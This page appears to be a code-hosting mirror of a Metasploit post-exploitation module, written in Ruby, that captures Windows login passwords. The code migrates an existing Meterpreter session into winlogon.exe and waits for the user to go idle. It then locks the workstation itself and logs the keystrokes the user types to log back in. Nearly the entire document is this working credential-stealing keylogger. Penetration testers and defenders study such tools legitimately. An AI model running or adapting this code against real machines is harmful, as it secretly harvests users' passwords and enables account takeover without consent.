CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/capture/lockout_keylogger.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger',
14
'Description' => %q{
15
This module migrates and logs Microsoft Windows user's passwords via
16
Winlogon.exe using idle time and natural system changes to give a
17
false sense of security to the user.
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [ 'mubix', 'cg' ],
21
'Platform' => ['win'],
22
'SessionTypes' => ['meterpreter'],
23
'References' => [['URL', 'http://blog.metasploit.com/2010/12/capturing-windows-logons-with.html']],
24
'Compat' => {
25
'Meterpreter' => {
26
'Commands' => %w[
27
core_migrate
28
stdapi_railgun_api
29
stdapi_sys_process_get_processes
30
stdapi_sys_process_getpid
31
stdapi_ui_get_idle_time
32
stdapi_ui_get_keys_utf8
33
stdapi_ui_start_keyscan
34
stdapi_ui_stop_keyscan
35
]
36
}
37
}
38
)
39
)
40
41
register_options(
42
[
43
OptInt.new('INTERVAL', [true, 'Time between key collection during logging', 30]),
44
OptInt.new('HEARTBEAT', [true, 'Heart beat between idle checks', 30]),
45
OptInt.new('LOCKTIME', [true, 'Amount of idle time before lockout', 300]),
46
OptInt.new('PID', [false, 'Target PID, only needed if multiple winlogon.exe instances exist', nil]),
47
OptBool.new('WAIT', [true, 'Wait for lockout instead of default method', false])
48
]
49
)
50
end
51
52
def check_admin
53
status = client.railgun.shell32.IsUserAnAdmin()
54
return status['return']
55
end
56
57
def get_winlogon
58
winlogon = []
59
session.sys.process.get_processes.each do |x|
60
if x['name'].downcase == 'winlogon.exe'
61
winlogon << x
62
end
63
end
64
if winlogon.empty?
65
print_status('Winlogon not found! Exiting')
66
return 'exit'
67
elsif winlogon.size == 1
68
return winlogon[0]['pid']
69
else
70
print_error('Multiple WINLOGON processes found, run manually and specify pid')
71
print_error('Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session')
72
winlogon.each do |tp|
73
print_status("Winlogon.exe - PID: #{tp['pid']} - Session: #{tp['session']}")
74
end
75
return 'exit'
76
end
77
end
78
79
# Function for starting the keylogger
80
def startkeylogger(session)
81
print_status('Starting the keystroke sniffer...')
82
session.ui.keyscan_start
83
return true
84
rescue StandardError
85
print_error('Failed to start Keylogging!')
86
return false
87
end
88
89
# Function for Collecting Capture (pulled from Carlos Perez's Keylogrecorder)
90
def keycap(session, keytime, logfile)
91
rec = 1
92
# Creating DB for captured keystrokes
93
print_status("Keystrokes being saved in to #{logfile}")
94
# Inserting keystrokes every number of seconds specified
95
print_status('Recording ')
96
while rec == 1
97
# getting Keystrokes
98
data = session.ui.keyscan_dump
99
outp = ''
100
data.unpack('n*').each do |inp|
101
fl = (inp & 0xff00) >> 8
102
vk = (inp & 0xff)
103
kc = VirtualKeyCodes[vk]
104
105
f_shift = fl & (1 << 1)
106
f_ctrl = fl & (1 << 2)
107
f_alt = fl & (1 << 3)
108
109
if kc
110
name = (((f_shift != 0) && (kc.length > 1)) ? kc[1] : kc[0])
111
case name
112
when /^.$/
113
outp << name
114
when /shift|click/i
115
when 'Space'
116
outp << ' '
117
else
118
outp << " <#{name}> "
119
end
120
else
121
outp << ' <0x%.2x> ' % vk
122
end
123
end
124
select(nil, nil, nil, 2)
125
file_local_write(logfile, "#{outp}\n")
126
if !outp.nil? && (outp.chomp.lstrip != '')
127
print_status("Password?: #{outp}")
128
end
129
still_locked = 1
130
# Check to see if the screen saver is on, then check to see if they have logged back in yet.
131
screensaver = client.railgun.user32.SystemParametersInfoA(114, nil, 1, nil)['pvParam'].unpack('C*')[0]
132
if screensaver == 0
133
still_locked = client.railgun.user32.GetForegroundWindow()['return']
134
end
135
if still_locked == 0
136
print_status('They logged back in, the last password was probably right.')
137
raise 'win'
138
end
139
currentidle = session.ui.idle_time
140
if screensaver == 0
141
print_status("System has currently been idle for #{currentidle} seconds and the screensaver is OFF")
142
else
143
print_status("System has currently been idle for #{currentidle} seconds and the screensaver is ON")
144
end
145
select(nil, nil, nil, keytime.to_i)
146
end
147
rescue ::Exception => e
148
if e.message != 'win'
149
print_line
150
print_status("#{e.class} #{e}")
151
end
152
print_status('Stopping keystroke sniffer...')
153
session.ui.keyscan_stop
154
end
155
156
def run
157
# Log file variables
158
host = session.session_host
159
port = session.session_port
160
filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') # Create Filename info to be appended to downloaded files
161
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'smartlocker') # Create a directory for the logs
162
::FileUtils.mkdir_p(logs) # Create the log directory
163
logfile = logs + ::File::Separator + host + filenameinfo + '.txt' # Logfile name
164
165
# Make sure we are on a Windows host
166
if client.platform != 'windows'
167
print_error('This module does not support this platform.')
168
return
169
end
170
171
# Check admin status
172
admin = check_admin
173
if admin == false
174
print_error('Must be an admin to migrate into Winlogon.exe, exiting')
175
return
176
end
177
178
mypid = session.sys.process.getpid
179
if datastore['PID'] == 0
180
targetpid = get_winlogon
181
if targetpid == 'exit'
182
return
183
end
184
185
print_status("Found WINLOGON at PID:#{targetpid}")
186
else
187
targetpid = datastore['PID']
188
print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you...")
189
end
190
191
if mypid == targetpid
192
print_status('Already in WINLOGON no need to migrate')
193
else
194
print_status("Migrating from PID:#{mypid}")
195
begin
196
session.core.migrate(targetpid)
197
rescue StandardError
198
print_error('Unable to migrate, try getsystem first')
199
return
200
end
201
print_good("Migrated to WINLOGON PID: #{targetpid} successfully")
202
end
203
204
# Override SystemParametersInfo Railgun call to check for Screensaver
205
# Unfortunately 'pvParam' changes it's type for each uiAction so
206
# it cannot be changed in the regular railgun defs
207
client.railgun.add_function('user32', 'SystemParametersInfoA', 'BOOL', [
208
['DWORD', 'uiAction', 'in'],
209
['DWORD', 'uiParam', 'in'],
210
['PBLOB', 'pvParam', 'out'],
211
['DWORD', 'fWinIni', 'in']
212
])
213
214
print_good("Keylogging for #{client.info}")
215
file_local_write(logfile, "#{client.info}\n")
216
if datastore['WAIT']
217
print_status('Waiting for user to lock out their session')
218
locked = false
219
while locked == false
220
if client.railgun.user32.GetForegroundWindow()['return'] != 0
221
locked = true
222
print_status('Session has been locked out')
223
else
224
# sleep(keytime.to_i) / hardsleep applied due to missing loging right after lockout.. no good way to solve this
225
select(nil, nil, nil, 2)
226
end
227
end
228
else
229
currentidle = session.ui.idle_time
230
print_status("System has currently been idle for #{currentidle} seconds")
231
while currentidle <= datastore['LOCKTIME']
232
print_status("Current Idle time: #{currentidle} seconds")
233
select(nil, nil, nil, datastore['HEARTBEAT'])
234
currentidle = session.ui.idle_time
235
end
236
client.railgun.user32.LockWorkStation()
237
if client.railgun.user32.GetForegroundWindow()['return'] == 0
238
print_error('Locking the workstation falied, trying again..')
239
client.railgun.user32.LockWorkStation()
240
if client.railgun.user32.GetForegroundWindow()['return'] == 0
241
print_error('The system will not lock this session, nor will it be used for user login, exiting...')
242
return
243
else
244
print_status('Locked this time, time to start keyloggin...')
245
end
246
end
247
end
248
249
if startkeylogger(session)
250
keycap(session, datastore['INTERVAL'], logfile)
251
end
252
end
253
end
254
255